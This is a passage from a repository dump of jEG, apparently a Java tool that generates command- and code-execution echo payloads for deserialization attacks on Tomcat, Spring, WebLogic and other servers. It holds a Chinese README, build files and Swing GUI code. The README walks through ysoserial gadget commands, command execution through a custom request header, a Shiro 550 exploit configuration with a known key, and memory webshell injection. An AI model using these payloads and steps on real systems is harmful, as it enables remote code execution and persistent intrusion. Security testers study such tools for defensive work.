main(String[] args) throws Throwable {\n // 基本配置\n jEGConfig config = new jEGConfig() {{\n // 设置待回显的中间件为 tomcat\n setServerType(jEGConstants.SERVER_TOMCAT);\n // 设置待执行的 payload 为命令执行回显\n setModelType(jEGConstants.MODEL_CMD);\n // 设置 payload 的输出格式为 BASE64\n setFormatType(jEGConstants.FORMAT_CLASS);\n // 初始化基础配置\n build();\n }};\n config.setLoaderClassName(ClassUtil.getRandomLoaderClassName());\n // 生成 payload\n jEGenerator generator = new jEGenerator(config);\n System.out.println(\"请求头: \" + config.getReqHeaderName());\n String payload = generator.getPayload();\n System.out.println(payload.length());\n System.out.println(payload);\n\n }\n}" }, { "path": "jeg-docs/1.0.0/README.md", "content": "---\ntitle: jEG v1.0.0 - 高度自定义的 Java 回显生成工具\nauthor: pen4uin\ndate: 2023-09-28\n---\n\n\n# jEG v1.0.0 - 高度自定义的 Java 回显生成工具\n\n## 0x01 简介\n\n**jEG (Java Echo Generator)** 是一款支持高度自定义的 Java 回显载荷生成工具。\n\n功能介绍\n- 支持的中间件和框架\n - Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow\n - SpringMVC/Struts2\n- 支持的执行模式 (Command/Code)\n- 支持的输出格式 (BASE64/BCEL/BIGINTEGER/CLASS/JAR/JS)\n\n执行模式\n- 命令执行回显\n- 代码执行回显（toString）\n\n工作模式\n- 作为 独立的 GUI 工具 \n- 作为 woodpecker 的插件\n- 作为 第三方库\n\n下载地址\n\n- https://github.com/pen4uin/java-echo-generator\n\n## 0x02 工具演示\n\n### 两种执行模式\n\n**命令执行**\n\n0、测试环境说明\n\n- Tomcat v8.5.91\n- JDK 8\n- 原生反序列化漏洞\n- CommonsBeanutils2\n\n\n1、生成对应命令执行回显的 payload，继承 AbstractTranslet\n\n![](./img/1708843903204.png)\n\n2、使用 yso 进行序列化利用封装\n\n```shell\njava -jar ysoserial-for-woodpecker-0.5.3-all.jar -g CommonsBeanutils2 -a \"class_file:/Users/NotFound/Temp/SessionDataUtil.class\" | base64\n```\n\n3、通过请求头 Cache-Control-Ymirvesoc 传入需要执行的命令，如图，命令成功执行并回显\n\n![](./img/1708843933258.png)\n\n**代码执行**\n\n0、测试环境说明\n\n- SpringBoot 2.2.6.RELEASE\n- JDK 8\n- Shiro 550\n- CommonsBeanutils2_183\n\n1、生成对应代码执行回显的 payload，继承 AbstractTranslet\n\n![](./img/1708843968446.png)\n\n2、使用 shiro 漏洞利用插件对 payload 进行加密处理\n\n```\nyso_gadget=CommonsBeanutils2_183\nyso_cmd=class_file:/Users/NotFound/Temp/CSVUtil.class\nshiro_key=kPH+bIxk5D2deZiIxcaaaA==\naes_model=CBC\n```\n\n3、准备需要执行的代码，这里以shiro常见的漏洞利用场景作为演示 - 注入内存马，使用 jMG 生成BASE64格式的内存马注入器\n\n![](./img/1708843998491.png)\n\n4、通过请求参数 Dsyoi 传入需要执行的字节码，如图，代码成功执行并回显\n\n![](./img/1708844009402.png)\n\n5、内存马注入成功\n\n![](./img/1708844020638.png)\n\n### 三种工作模式\n\n**图形化**\n\n1、下载 jEG-gui-1.0.0.jar 运行即可\n\n\n![](./img/1708844053138.png)\n\n**Woodpecker 插件**\n\n1、下载 jEG-woodpecker-1.0.0.jar 到 woodpecker 插件目录下即可\n\n![](./img/1708844074999.png)\n\n**第三方库**\n\n1、下载 jEG-core-1.0.0.jar 并安装到本地 maven 仓库\n\n```shell\nmvn install:install-file -Dfile=jEG-core-1.0.0.jar -DgroupId=jeg -DartifactId=jeg-core -Dversion=1.0.0 -Dpackaging=jar\n```\n\n2、引入自己的框架/工具的依赖中\n\n```xml\n\n jeg\n jeg-core\n 1.0.0\n\n```\n\n3、调用 API 生成需要的回显载荷即可\n\n\n## 0x03 小结\n\n从 jMG 到 jEG，Java 漏洞利用的造“轮子”之旅也算可以告一段落了。\n\n最后祝大家节日快乐！\n\n\n\n
\n参考\n\n- https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/\n- https://gist.github.com/fnmsd/8165cedd9fe735d7ef438b2e977af327\n- https://github.com/feihong-cs/Java-Rce-Echo\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "path": "jeg-docs/README_EN.md", "content": "todo" }, { "path": "jeg-gui/pom.xml", "content": "\n 4.0.0\n \n jeg\n java-echo-generator\n ${reversion}\n \n jEG-gui\n \n \n com.intellij\n forms_rt\n 7.0.3\n \n \n com.formdev\n flatlaf\n 3.1\n \n \n jeg\n jEG-core\n ${reversion}\n \n \n \n ${artifactId}-${reversion}\n \n \n org.apache.maven.plugins\n maven-assembly-plugin\n 3.6.0\n \n \n jar-with-dependencies\n \n \n \n jeg.gui.jEGApp\n \n \n \n \n \n make-assembly\n package\n \n single\n \n \n \n \n \n \n\n" }, { "path": "jeg-gui/src/main/java/jeg/gui/form/jEGForm.form", "content": "\n
\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
\n" }, { "path": "jeg-gui/src/main/java/jeg/gui/form/jEGForm.java", "content": "package jeg.gui.form;\n\nimport com.intellij.uiDesigner.core.GridConstraints;\nimport com.intellij.uiDesigner.core.GridLayoutManager;\nimport com.intellij.uiDesigner.core.Spacer;\nimport jeg.core.config.jEGConfig;\nimport jeg.core.config.jEGConstants;\nimport jeg.core.jEGenerator;\nimport jeg.gui.util.ComponentUtil;\nimport jeg.gui.util.TextPaneUtil;\n\nimport javax.swing.*;\nimport javax.swing.border.EmptyBorder;\nimport java.awt.*;\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\nimport java.util.Locale;\n\npublic class jEGForm {\n private static JFrame frame;\n private JComboBox serverBox;\n private JComboBox modelBox;\n private JComboBox gadgetBox;\n private JComboBox formatBox;\n private JTextField reqParamText;\n private JTextField reqHeaderNameText;\n private JTextField outputPathText;\n private JTextField classNameText;\n private JButton generateButton;\n private JPanel jEGPanel;\n private JPanel TopPanel;\n private JLabel serverLabel;\n private JLabel formatLabel;\n private JLabel modelLabel;\n private JLabel gadgetLabel;\n private JScrollPane textScrollPane;\n private JPanel MiddlePanel;\n private JLabel reqParamNameLabel;\n private JLabel headerNameLabel;\n private JLabel shellClsNameLabel;\n private JSeparator TopSep;\n private JSeparator MiddleSep;\n private JLabel authorLabel;\n private JLabel noticeLabel;\n private JPanel BottomPanel;\n private JPanel TipPanel;\n private JTextPane textPane;\n\n private jEGConfig config;\n\n\n public static void start() {\n Locale.setDefault(Locale.CHINA);\n frame = new JFrame(jEGConstants.JEG_NAME + \" \" + jEGConstants.JEG_VERSION);\n frame.setLocationRelativeTo(null);\n frame.setResizable(true);\n jEGForm jmgForm = new jEGForm();\n JPanel contentPanel = jmgForm.jEGPanel;\n contentPanel.setBorder(new EmptyBorder(8, 10, 8, 10));\n frame.setContentPane(contentPanel);\n frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n frame.pack();\n frame.setVisible(true);\n Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();\n int centerX = screenSize.width / 2;\n int centerY = screenSize.height / 2;\n Dimension jfSize = frame.getSize();\n int halfwidth = jfSize.width / 2;\n int halfHeight = jfSize.height / 2;\n frame.setLocation(centerX - halfwidth, centerY - halfHeight);\n }\n\n private String serverType = jEGConstants.SERVER_TOMCAT;\n private String modelType = jEGConstants.MODEL_CMD;\n private String gadgetType = jEGConstants.GADGET_NONE;\n private String formatType = jEGConstants.FORMAT_BASE64;\n private String outputDir;\n\n public jEGForm() {\n config = new jEGConfig();\n\n String[] serverBoxItems = {\n jEGConstants.SERVER_TOMCAT,\n jEGConstants.SERVER_SPRING_MVC,\n jEGConstants.SERVER_RESIN,\n jEGConstants.SERVER_WEBLOGIC,\n jEGConstants.SERVER_WEBSPHERE,\n jEGConstants.SERVER_JETTY,\n jEGConstants.SERVER_UNDERTOW,\n jEGConstants.SERVER_STRUTS2,\n jEGConstants.SERVER_BES,\n jEGConstants.SERVER_INFORSUITE,\n jEGConstants.SERVER_TONGWEB,\n jEGConstants.SERVER_UNKNOWN\n };\n String[] modelBoxItems = new String[]{\n jEGConstants.MODEL_CMD,\n jEGConstants.MODEL_CODE};\n String[] gadgetBoxItems = new String[]{\n jEGConstants.GADGET_NONE,\n jEGConstants.GADGET_JDK_TRANSLET,\n jEGConstants.GADGET_XALAN_TRANSLET};\n String[] formatBoxItems = new String[]{\n jEGConstants.FORMAT_BASE64,\n jEGConstants.FORMAT_BCEL,\n jEGConstants.FORMAT_BIGINTEGER,\n jEGConstants.FORMAT_CLASS,\n jEGConstants.FORMAT_JAR,\n jEGConstants.FORMAT_JS\n };\n\n serverBox.setModel(new DefaultComboBoxModel(serverBoxItems));\n modelBox.setModel(new DefaultComboBoxModel(modelBoxItems));\n gadgetBox.setModel(new DefaultComboBoxModel(gadgetBoxItems));\n formatBox.setModel(new DefaultComboBoxModel(formatBoxItems));\n serverBox.addActionListener(new ActionListener() {\n public void actionPerformed(ActionEvent e) {\n serverType = (String) serverBox.getSelectedItem();\n }\n });\n\n modelBox.addActionListener(e -> modelType = (String) modelBox.getSelectedItem());\n\n\n gadgetBox.addActionListener(e -> gadgetType = (String) gadgetBox.getSelectedItem());\n\n formatBox.addActionListener(e -> {\n formatType = (String) formatBox.getSelectedItem();\n assert formatType != null;\n if (formatType.equalsIgnoreCase(jEGConstants.FORMAT_CLASS) || formatType.equalsIgnoreCase(jEGConstants.FORMAT_JAR)) {\n JFileChooser fileChooser = new JFileChooser();\n fileChooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY);\n int result = fileChooser.showSaveDialog(jEGPanel);\n if (result == JFileChooser.APPROVE_OPTION) {\n String selectedPath = fileChooser.getSelectedFile().getPath();\n outputDir = selectedPath;\n }\n }\n });\n\n classNameText.getDocument().putProperty(\"owner\", classNameText);\n classNameText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(classNameText, config::setClassName));\n\n reqHeaderNameText.getDocument().putProperty(\"owner\", reqHeaderNameText);\n reqHeaderNameText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(reqHeaderNameText, config::setReqHeaderName));\n\n reqParamText.getDocument().putProperty(\"owner\", reqParamText);\n reqParamText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(reqParamText, config::setReqParamName));\n\n\n generateButton.addActionListener(e -> {\n TextPaneUtil.initTextPane(textPane);\n TextPaneUtil.startPrintln(serverType + \" \" + modelType + \" \" + gadgetType + \" \" + formatType + \"\\n\");\n try {\n jEGConfig config = new jEGConfig() {{\n setServerType(serverType);\n setModelType(modelType);\n setGadgetType(gadgetType);\n setFormatType(formatType);\n setReqHeaderName(reqHeaderNameText.getText());\n setReqParamName(reqParamText.getText());\n setClassName(classNameText.getText());\n setOutputDir(outputDir);\n build();\n }};\n // 生成 payload\n jEGenerator generator = new jEGenerator(config);\n String result = generator.getPayload();\n TextPaneUtil.successPrintln(\"基础信息:\");\n TextPaneUtil.rawPrintln(\"\");\n if (config.getModelType().equals(jEGConstants.MODEL_CMD)) {\n TextPaneUtil.rawPrintln(\"请求头: \" + config.getReqHeaderName());\n } else {\n TextPaneUtil.rawPrintln(\"请求参数: \" + config.getReqParamName());\n }\n TextPaneUtil.rawPrintln(\"类名: \" + config.getClassName());\n TextPaneUtil.rawPrintln(\"载荷长度: \" + config.getClassBytesLength());\n TextPaneUtil.rawPrintln(\"\");\n TextPaneUtil.successPrintln(\"结果输出:\");\n TextPaneUtil.rawPrintln(\"\");\n TextPaneUtil.rawPrintln(result);\n ComponentUtil.restoreScrollPosition(textScrollPane);\n } catch (Throwable ex) {\n TextPaneUtil.errorPrintln(ex.getMessage());\n }\n });\n }\n\n {\n// GUI initializer generated by IntelliJ IDEA GUI Designer\n// >>> IMPORTANT!! <<<\n// DO NOT EDIT OR ADD ANY CODE HERE!\n $$$setupUI$$$();\n }\n\n /**\n * Method generated by IntelliJ IDEA GUI Designer\n * >>> IMPORTANT!! <<<\n * DO NOT edit this method OR call it in your code!\n *\n * @noinspection ALL\n */\n private void $$$setupUI$$$() {\n jEGPanel = new JPanel();\n jEGPanel.setLayout(new GridLayoutManager(7, 1, new Insets(0, 0, 0, 0), -1, -1));\n TopPanel = new JPanel();\n TopPanel.setLayout(new GridLayoutManager(1, 8, new Insets(0, 0, 0, 0), -1, -1));\n jEGPanel.add(TopPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));\n serverLabel = new JLabel();\n serverLabel.setText(\"中间件/框架\");\n TopPanel.add(serverLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));\n formatLabel = new JLabel();\n formatLabel.setText(\"输出格式\");\n TopPanel.add(formatLabel, new GridConstraints(0, 6, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));\n modelLabel = new JLabel();\n modelLabel.setText(\"回显模式\");\n TopPanel.add(modelLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));\n gadgetLabel = new JLabel();\n gadgetLabel.setText(\"利用类型\");\n TopPanel.add(gadgetLabel, new GridConstraints(0, 4, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));\n serverBox = new JComboBox();\n final DefaultComboBoxModel defaultComboBoxModel1 = new DefaultComboBoxModel();\n defaultComboBoxModel1.addElement(\"Tomcat\");\n defaultComboBoxModel1.addElement(\"SpringMVC\");\n defaultComboBoxModel1.addElement(\"Weblogic\");\n defaultComboBoxModel1.addElement(\"Websphere\");\n defaultComboBoxModel1.addElement(\"Resin\");\n defaultComboBoxModel1.addElement(\"Undertow\");\n defaultComboBoxModel1.addElement(\"Jetty\");\n defaultComboBoxModel1.addElement(\"SpringWebFlux\");\n serverBox.setModel(defaultComboBoxModel1);\n TopPanel.add(serverBox, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(139, -1), null, 0, false));\n modelBox = new JComboBox();\n final DefaultComboBoxModel defaultComboBoxModel2 = new DefaultComboBoxModel();\n defaultComboBoxModel2.addElement(\"Command\");\n defaultComboBoxModel2.addElement(\"Code\");\n modelBox.setModel(defaultComboBoxModel2);\n TopPanel.add(modelBox, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(139, -1), null, 0, false));\n gadgetBox = new JComboBox();\n final DefaultComboBoxModel defaultComboBoxModel3 = new DefaultComboBoxModel();\n defaultComboBoxModel3.addElement(\"NONE\");\n defaultComboBoxModel3.addElement(\"JDK_AbstractTranslet\");\n defaultComboBoxModel3.addElement(\"XALAN_AbstractTranslet\");\n gadgetBox.setModel(defaultComboBoxModel3);\n TopPanel.add(gadgetBox, new GridConstraints(0, 5, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));\n formatBox = new JComboBox();\n final DefaultComboBoxModel defaultComboBoxModel4 = new DefaultComboBoxModel();\n defaultComboBoxModel4.addElement(\"BASE64\");\n defaultComboBoxModel4.addElement(\"BIGINTEGER\");\n defaultComboBoxModel4.addElement(\"BCEL\");\n defaultComboBoxModel4.addElement(\"CLASS\");\n defaultComboBoxModel4.addElement(\"JAR\");\n defaultComboBoxModel4.addElement(\"JS\");\n formatBox.setModel(defaultComboBoxModel4);\n TopPanel.add(formatBox, new GridConstraints(0, 7, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));\n textScrollPane = new JScrollPane();\n jEGPanel.add(textScrollPane, new GridConstraints(5, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_WANT_GROW, new Dimension(-1, 360), new Dimension(36, 207), null, 0, false));\n textPane = new JTextPane();\n textScrollPane.setViewportView(textPane);\n MiddlePanel = new JPanel();\n MiddlePanel.setLayout(new GridLayoutManager(2, 4, new Insets(0, 0, 0, 0), -1, -1));\n jEGPanel.add(MiddlePanel, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));\n reqParamNameLabel = new JLabel();\n reqParamNameLabel.setText(\"请求参数\");\n MiddlePanel.add(reqParamNameLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));\n reqParamText = new JTextField();\n reqParamText.setToolTipText(\"可选，默认随机生成\");\n MiddlePanel.add(reqParamText, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));\n headerNameLabel = new JLabel();\n headerNameLabel.setText(\"请求头键\");\n MiddlePanel.add(headerNameLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));\n reqHeaderNameText = new JTextField();\n reqHeaderNameText.setText(\"\");\n reqHeaderNameText.setToolTipText(\"可选，默认随机生成\");\n MiddlePanel.add(reqHeaderNameText, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));\n shellClsNameLabel = new JLabel();\n shellClsNameLabel.setText(\"类名\");\n MiddlePanel.add(shellClsNameLabel, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));\n classNameText = new JTextField();\n classNameText.setToolTipText(\"可选，默认随机生成\");\n MiddlePanel.add(classNameText, new GridConstraints(1, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));\n TopSep = new JSeparator();\n jEGPanel.add(TopSep, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));\n MiddleSep = new JSeparator();\n jEGPanel.add(MiddleSep, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));\n BottomPanel = new JPanel();\n BottomPanel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));\n jEGPanel.add(BottomPanel, new GridConstraints(4, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));\n generateButton = new JButton();\n generateButton.setText(\"生成\");\n BottomPanel.add(generateButton, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_EAST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));\n TipPanel = new JPanel();\n TipPanel.setLayout(new GridLayoutManager(1, 3, new Insets(0, 0, 0, 0), -1, -1));\n jEGPanel.add(TipPanel, new GridConstraints(6, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));\n final Spacer spacer1 = new Spacer();\n TipPanel.add(spacer1, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, 1, null, null, null, 0, false));\n authorLabel = new JLabel();\n authorLabel.setText(\"请勿用于非法用途\");\n TipPanel.add(authorLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));\n noticeLabel = new JLabel();\n noticeLabel.setText(\"by pen4uin\");\n TipPanel.add(noticeLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));\n }\n\n /**\n * @noinspection ALL\n */\n public JComponent $$$getRootComponent$$$() {\n return jEGPanel;\n }\n}\n" }, { "path": "jeg-gui/src/main/java/jeg/gui/jEGApp.java", "content": "package jeg.gui;\n\nimport com.formdev.flatlaf.FlatLightLaf;\nimport jeg.gui.form.jEGForm;\n\nimport javax.swing.*;\n\npublic class jEGApp {\n public static void main(String[] args) {\n FlatLightLaf.setup();\n SwingUtilities.invokeLater(jEGApp::createAndShowGUI);\n }\n\n private static void createAndShowGUI() {\n jEGForm.start();\n }\n}\n" }, { "path": "jeg-gui/src/main/java/jeg/gui/util/ComponentUtil.java", "content": "package jeg.gui.util;\n\nimport javax.swing.*;\nimport javax.swing.event.DocumentEvent;\nimport javax.swing.event.DocumentListener;\nimport javax.swing.text.JTextComponent;\nimport javax.swing.text.SimpleAttributeSet;\nimport javax.swing.text.StyleConstants;\nimport java.awt.*;\nimport java.awt.event.ItemEvent;\nimport java.awt.event.ItemListener;\nimport java.util.function.Consumer;\n\npublic class ComponentUtil {\n public static DocumentListener createDocumentListener(JTextComponent textField, Consumer updateFunction) {\n return new DocumentListener() {\n @Override\n public void insertUpdate(DocumentEvent e) {\n updateText();\n }\n\n @Override\n public void removeUpdate(DocumentEvent e) {\n updateText();\n }\n\n @Override\n public void changedUpdate(DocumentEvent e) {\n // 文本改变时触发（对于普通文本字段可以忽略）\n }\n\n private void updateText() {\n String text = textField.getText();\n if (text.isEmpty()) {\n updateFunction.accept(null);\n } else {\n updateFunction.accept(text);\n }\n }\n };\n }\n\n\n /**\n * 恢复滚动条位置\n * @param scrollPane\n */\n public static void restoreScrollPosition(JScrollPane scrollPane) {\n try {\n // windows 下窗口闪动\n scrollPane.setDoubleBuffered(true);\n int scrollValue = scrollPane.getVerticalScrollBar().getValue();\n SwingUtilities.invokeLater(() -> {\n scrollPane.getVerticalScrollBar().setValue(scrollValue);\n });\n } catch (Exception ignored) {\n } catch (Throwable e) {\n throw new RuntimeException(e);\n }\n }\n\n\n public static SimpleAttributeSet createSimpleAttributeSet(Color foregroundColor) {\n SimpleAttributeSet attributeSet = new SimpleAttributeSet();\n StyleConstants.setBold(attributeSet, true);\n StyleConstants.setItalic(attributeSet, false);\n StyleConstants.setForeground(attributeSet, foregroundColor);\n return attributeSet;\n }\n\n\n}\n" }, { "path": "jeg-gui/src/main/java/jeg/gui/util/TextPaneUtil.java", "content": "package jeg.gui.util;\n\n\nimport javax.swing.*;\nimport javax.swing.text.*;\nimport java.awt.*;\n\n/**\n * 控制文本颜色,提升用户体验\n */\npublic class TextPaneUtil {\n private static JTextPane textPane;\n private static final Font font;\n private static final SimpleAttributeSet ERROR_ATT;\n private static final SimpleAttributeSet SUCCESS_ATT;\n private static final SimpleAttributeSet RAW_ATT;\n private static final SimpleAttributeSet START_ATT;\n\n\n static {\n font = new Font(\"Lucida Grande\", Font.PLAIN, 13);\n ERROR_ATT = ComponentUtil.createSimpleAttributeSet(new Color(255, 0, 0));\n SUCCESS_ATT = ComponentUtil.createSimpleAttributeSet(new Color(70,135,55));\n RAW_ATT = ComponentUtil.createSimpleAttributeSet(new Color(0, 0, 0));\n START_ATT = ComponentUtil.createSimpleAttributeSet(Color.gray);\n }\n\n\n public static void rawPrintln(String str) {\n try {\n textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format(\"%s\\n\", str), RAW_ATT);\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n public static void successPrintln(String str) {\n\n try {\n // 对 jexpr-encoder-utils 输出的处理\n if (str.startsWith(\"[+]\")) {\n textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format(\"%s\\n\", str.replace(\"==>\", \"==>\\n\").replace(\"<==\", \"<==\\n\\n\\n\\n\")), SUCCESS_ATT);\n } else {\n textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format(\"[+] %s\\n\", str), SUCCESS_ATT);\n\n }\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n public static void errorPrintln(String str) {\n try {\n textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format(\"[x] %s\\n\", str), ERROR_ATT);\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n public static void startPrintln(String str) {\n try {\n textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format(\"[>] %s\\n\", str), START_ATT);\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n /////////////////////////////////////////////////////////////\n // 以下内部类全都用于实现自动强制折行\n // https://github.com/MrYKK/oimchat/blob/598aedd94767667498d66d1ed682f073f3f181b7/oim-fx/src/test/java/swing/JIMSendTextPane.java\n /////////////////////////////////////////////////////////////\n public static class WarpEditorKit extends StyledEditorKit {\n private static final long serialVersionUID = 1L;\n private ViewFactory defaultFactory = new WarpColumnFactory();\n\n @Override\n public ViewFactory getViewFactory() {\n return defaultFactory;\n }\n }\n\n private static class WarpColumnFactory implements ViewFactory {\n\n public View create(Element elem) {\n String kind = elem.getName();\n if (kind != null) {\n if (kind.equals(AbstractDocument.ContentElementName)) {\n return new WarpLabelView(elem);\n } else if (kind.equals(AbstractDocument.ParagraphElementName)) {\n return new ParagraphView(elem);\n } else if (kind.equals(AbstractDocument.SectionElementName)) {\n return new BoxView(elem, View.Y_AXIS);\n } else if (kind.equals(StyleConstants.ComponentElementName)) {\n return new ComponentView(elem);\n } else if (kind.equals(StyleConstants.IconElementName)) {\n return new IconView(elem);\n }\n }\n\n // default to text display\n return new LabelView(elem);\n }\n }\n\n private static class WarpLabelView extends LabelView {\n\n public WarpLabelView(Element elem) {\n super(elem);\n }\n\n @Override\n public float getMinimumSpan(int axis) {\n switch (axis) {\n case View.X_AXIS:\n return 0;\n case View.Y_AXIS:\n return super.getMinimumSpan(axis);\n default:\n throw new IllegalArgumentException(\"Invalid axis: \" + axis);\n }\n }\n }\n /////////////////////////////////////////////////////////////////////////////////\n\n public static void initTextPane(JTextPane textPane) {\n TextPaneUtil.textPane = textPane;\n TextPaneUtil.textPane.setEditorKit(new WarpEditorKit());\n TextPaneUtil.textPane.setFont(font);\n }\n}\n" }, { 